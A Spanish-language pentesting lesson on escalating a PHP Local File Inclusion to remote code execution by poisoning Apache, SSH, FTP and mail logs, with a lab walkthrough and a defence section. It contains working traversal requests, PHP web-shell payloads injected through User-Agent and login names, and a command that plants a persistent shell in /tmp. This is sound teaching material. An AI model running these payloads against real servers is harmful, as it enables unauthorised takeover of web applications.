Log poisoning: cómo un LFI inocente acaba siendo ejecución de código
· 7 min de lectura
Aprende cómo un LFI que solo lee archivos pasa a RCE inyectando código PHP en los logs del servidor y haciendo que el propio LFI los incluya. Cubre access.log, auth.log, mail.log y FTP.
Encuentras un LFI (Local File Inclusion) en una aplicación PHP. Puedes leer /etc/passwd, /etc/hosts, incluso el wp-config.php. Buena información, pero el objetivo real es ejecución de código, no lectura. La pregunta clásica entonces: ¿cómo convierto este LFI en RCE?
Una respuesta elegante, antigua y todavía útil es el log poisoning: haces que un log del servidor —el que escribe el propio Apache, el servicio SSH, el servidor FTP o el servidor de correo— contenga código PHP controlado por ti. Después, usas el LFI para incluir ese log. El intérprete PHP lo procesa como código, encuentra tus etiquetas <?php ... ?> y las ejecuta. RCE conseguido sin necesidad de subir archivos.
En esta lección vas a ver el flujo general del log poisoning, los tres targets clásicos (access.log, auth.log, vsftpd.log), cómo identificar qué log tienes al alcance y cómo defenderse. Todo probado en los laboratorios snort, enumhub y fryerforce de whoami-labs.
Usa estas técnicas solo contra sistemas autorizados o laboratorios. Envenenar logs en servicios ajenos sin permiso es delito.
Qué necesitas para que funcione#
Tres ingredientes:
- Un LFI que incluya archivos como PHP (no
file_get_contents, noreadfile; tiene que serinclude,requireo similar). - Un log con contenido que tú puedas controlar: user agent, petición HTTP, intento de login, nombre de usuario SSH.
- Ese log tiene que ser legible por el usuario del servidor web (habitualmente
www-dataoapache).
Si cumples los tres, puedes meter PHP en el log y hacer que se ejecute vía el LFI.

Camino 1: Apache access.log#
El log de accesos de Apache registra cada petición HTTP. Entre lo que registra está el User-Agent, un campo que tú controlas 100 por cien.
Paso 1: confirmar el LFI y la ruta del log#
Pruebas típicas:
curl "http://objetivo.com/index.php?page=../../../../etc/passwd"
curl "http://objetivo.com/index.php?page=../../../../var/log/apache2/access.log"
Si lees el access.log, perfecto: confirma la ruta y la legibilidad. Rutas típicas por distro:
- Debian/Ubuntu:
/var/log/apache2/access.log - CentOS/RHEL:
/var/log/httpd/access_log - Nginx:
/var/log/nginx/access.log
Paso 2: inyectar PHP en el User-Agent#
curl -A "<?php system(\$_GET['cmd']); ?>" http://objetivo.com/
Ese request queda registrado en el access.log con el User-Agent literal, incluyendo las etiquetas PHP.
Paso 3: incluir el log vía el LFI con el parámetro cmd#
curl "http://objetivo.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
Cuando PHP procesa el log, encuentra <?php system($_GET['cmd']); ?> y lo ejecuta con cmd=id. Resultado: uid=33(www-data) gid=33(www-data). RCE directo.
Trucos útiles#
- Si el navegador te codifica los
<y>, usacurloBurp. - Si hay WAF que detecta
<?phpen User-Agent, prueba<?= system($_GET['c']); ?>(sintaxis corta) o<?phpdividido en dos requests con un Range Header (más raro). - Si el log es enorme y tarda en parsear, llámalo con un
cmdque grabe una web shell completa en/tmp/s.phpy luego usa esa shell: una vez, LFI al log; a partir de ahí,/tmp/s.php?c=....
Camino 2: auth.log (SSH)#
Cuando el acceso a SSH está habilitado y falla un login con un nombre de usuario que lleva código PHP, el servicio lo registra textualmente en /var/log/auth.log. Si ese log es legible para el usuario web (cosa rara pero posible en configuraciones descuidadas), puedes envenenar también por aquí.
Paso 1: intento SSH con usuario especial#
ssh '<?php system($_GET["cmd"]); ?>'@objetivo.com
El intento falla, pero en auth.log queda registrado algo así:
Nov 5 10:12:03 server sshd[1234]: Invalid user <?php system($_GET["cmd"]); ?> from 10.10.14.5 port 51432
Paso 2: LFI al auth.log#
curl "http://objetivo.com/index.php?page=../../../../var/log/auth.log&cmd=id"
Si el PHP del servidor web tiene permisos para leer /var/log/auth.log (adm group o configuración particular), tienes RCE. En las instalaciones por defecto de Ubuntu, auth.log no es legible por www-data, así que este camino no funciona siempre; en algunos labs y en configuraciones custom sí.
Camino 3: vsftpd y otros logs de FTP#
Los servidores FTP suelen registrar los intentos de login con el nombre de usuario. Un intento con USER <?php ... ?> deja el PHP en el log.
ftp objetivo.com
USER <?php system($_GET['cmd']); ?>
PASS cualquiera
Luego LFI al log, que en vsftpd suele estar en /var/log/vsftpd.log, y lista. Igual que con SSH, depende de los permisos.
Otros logs interesantes#
/var/log/mail.logy/var/log/exim4/mainlog: cuando hay un servicio de correo, los intentos de envío pueden registrar cabeceras que controles. Útil para labs con Postfix o Exim mal configurados./var/log/mysql/error.log: no suele ser legible ni controlable, pero en instalaciones muy raras se puede.- Logs de aplicaciones custom: PHP que escribe logs propios con input del usuario sin sanitizar es un vector perfecto si luego algo incluye ese log.
Alternativas cuando no hay log al alcance#

Si no tienes log envenenable pero sí LFI, hay otras vías clásicas para RCE:
php://input: en configuraciones conallow_url_include=On, mandar el payload en el body de la petición y hacerinclude('php://input').data://:data://text/plain;base64,<base64 del PHP>como parámetro del LFI (también requiereallow_url_include=On).phar://: engañar aincludecon un archivo subido que en realidad es un phar con payload serializado.- PHP sessions: si conoces la ruta de
/var/lib/php/sessions/sess_<id>y controlas datos de la sesión, puedes meter PHP ahí y luego incluirlo. /proc/self/environ: en servidores viejos, variables de entorno controladas por el User-Agent y legibles vía/proc.
Cada una tiene sus condiciones. La elegancia del log poisoning es que casi siempre está disponible: todos los servicios loguean.
Defender contra log poisoning#
- Validar que
includerecibe solo nombres de archivo controlados (whitelist de valores permitidos, no concatenación directa de parámetros GET). - No incluir archivos como PHP si vienen de rutas de usuario; usar
file_get_contentsy pintar como texto, nuncainclude. - Separar permisos:
www-datano debería tener lectura directa de/var/log/apache2/access.logen un entorno endurecido (normalmente no la tiene salvo si está en el grupoadm). - Desactivar
allow_url_includeyallow_url_fopenen PHP si no son necesarios. - Rotación agresiva de logs: mientras más corta la vida del log envenenado, menor la ventana de explotación.
- WAF que inspeccione User-Agent y headers HTTP buscando patrones
<?php,<?=,base64_decode.
Resumen comparado de wrappers PHP#
Para elegir rápido qué técnica usar según lo que te deja PHP del servidor:
| Técnica | Qué necesita | Qué consigues |
|---|---|---|
| Log poisoning (access.log) | LFI + log legible por www-data | RCE |
| php://input | allow_url_include=On + POST | RCE |
| data:// base64 | allow_url_include=On | RCE |
| phar:// con upload | Subida de archivo + unserialize alcanzable | RCE por gadget chain |
| /proc/self/environ | Kernel viejo + /proc legible | RCE |
| PHP session upload | Sesión de usuario + path conocido | RCE |
| php://filter + base64 | LFI | Solo lectura, pero útil para encontrar más |
Este cuadro es el primer vistazo en cada LFI: lo escaneas, descartas los que no aplican por configuración de PHP, y vas a por el primero que cumple condiciones. En labs realistas suele ser log poisoning o php://input.
Walkthrough del laboratorio snort#
Para fijar el flujo, el escenario tipo del laboratorio snort de whoami-labs sigue este esquema:
Paso 1 — descubrir el LFI:
# El parámetro page concatena a include()
curl "http://snort.lab/index.php?page=../../../../etc/passwd"
# Devuelve contenido de /etc/passwd, confirma LFI con include/require
Paso 2 — probar lectura del access.log:
curl "http://snort.lab/index.php?page=../../../../var/log/apache2/access.log"
# Si responde con líneas del log, es incluible y legible
Paso 3 — envenenar:
curl -A "<?php system(\$_GET['c']); ?>" "http://snort.lab/"
Paso 4 — ejecutar:
curl "http://snort.lab/index.php?page=../../../../var/log/apache2/access.log&c=id"
# Respuesta termina con: uid=33(www-data) gid=33(www-data)
Paso 5 — subir una web shell más cómoda (para no depender del log cada vez):
curl "http://snort.lab/index.php?page=../../../../var/log/apache2/access.log&c=echo+'<?php+system(\$_GET[0]);?>'+>+/tmp/s.php"
# Usas /tmp/s.php?0=id de aquí en adelante
Es el flujo canónico. En enumhub y fryerforce cambian los paths y las condiciones, pero la mecánica es la misma; cada lab fuerza entender un matiz distinto (permisos, ofuscación, log alternativo).
Errores comunes del atacante#
- Olvidar que PHP ejecuta solo cuando hay
<?phpcompleto y cerrado. Un<?phpsin cierre sigue valiendo en muchos parsers, pero no siempre. - Usar comillas simples en el payload que las escape mal el log.
- Olvidar codificar el path traversal (
%2e%2e%2fcuando hay un filtro simple de../). - Suponer que todos los logs son legibles por
www-data; en producción endurecida no lo son. - No revisar el tamaño del log: si es gigantesco, el
includetarda mucho y el servidor puede dar timeout.
Preguntas frecuentes#
¿Funciona en servidores modernos?#
El vector sigue existiendo donde haya LFI. Los LFI modernos son menos comunes porque los frameworks (Laravel, Symfony) no concatenan rutas de usuario con include; pero en código legacy, en CMS con plugins y en aplicaciones a medida siguen apareciendo. Donde hay LFI, el log poisoning sigue aplicando.
¿Qué archivo intento primero?#
access.log de Apache/Nginx, porque el User-Agent es lo más fácil de inyectar y suele estar en una ruta predecible. Si no funciona (permiso denegado, 404), pruebas auth.log, FTP y los wrappers alternativos.
¿Un LFI con .php añadido al final estorba?#
Depende del PHP:
include($_GET['page'] . '.php'): salvo truco con null byte (solo versiones muy viejas, PHP < 5.3.4), estás obligado a apuntar a archivos.php. Los logs no suelen cumplir.include($_GET['page']): libre. El típico lab.
¿Nginx registra User-Agent en access.log?#
Sí, en la configuración por defecto. Formato combined incluye "$http_user_agent". Igual que Apache: perfectamente envenenable.
¿Dónde practico?#
En los laboratorios snort, enumhub y fryerforce de whoami-labs, cada uno diseñado alrededor de un LFI que requiere log poisoning con un camino distinto (access, auth o aplicación custom).
¿Qué pasa con los logs en formato JSON?#
Algunos servidores modernos escriben logs en JSON (Nginx con log_format main escape=json, o aplicaciones estructuradas). El payload PHP sigue colocándose dentro del valor del User-Agent, pero rodeado por comillas y escapes. Para que PHP ejecute, basta con que <?php ... ?> aparezca intacto en algún punto del archivo; los corchetes JSON de alrededor no interfieren porque PHP solo busca etiquetas de código. Un escape de comillas sí puede romperlo (\"), pero si el log es escape=default sin JSON, pasa en claro.
¿Puedo usar un payload polyglot que sirva como imagen y como PHP?#
Sí: un GIF con GIF89a;<?php system($_GET['c']); ?> al principio pasa validaciones triviales de tipo MIME y se puede incluir como PHP si el LFI no tiene extensión forzada. Es un vector clásico para aplicaciones que aceptan imágenes y luego las enlazan por nombre.
¿Un LFI con filtros de null byte sigue siendo útil?#
Depende de la versión de PHP. A partir de PHP 5.3.4 los null bytes dejaron de cortar strings en funciones de archivo, lo que mató el truco clásico ?page=log%00. En código legacy con PHP viejo sigue funcionando; en aplicaciones modernas hay que buscar otro vector o combinar con path traversal normal, o apuntar a un wrapper que no requiera extensión forzada por el código vulnerable, como php://filter o data:// explicados arriba.
Resumen#
- Un LFI que llega a
include/requirepuede convertirse en RCE si logras meter PHP en un log que el LFI pueda incluir. - Logs clásicos:
access.log(User-Agent),auth.log(usuario SSH),vsftpd.log(usuario FTP), logs de correo. - Si no hay log al alcance, wrappers PHP (
php://input,data://,phar://) ofrecen alternativas. - Defensa: whitelist de archivos incluibles, nunca incluir rutas de usuario, permisos restrictivos de logs, deshabilitar
allow_url_include.
En conjunto, es una de esas técnicas que resume la filosofía del pentesting clásico: componer dos primitivas pequeñas (escribir en un log y leer archivos) para alcanzar algo mucho más grande (RCE).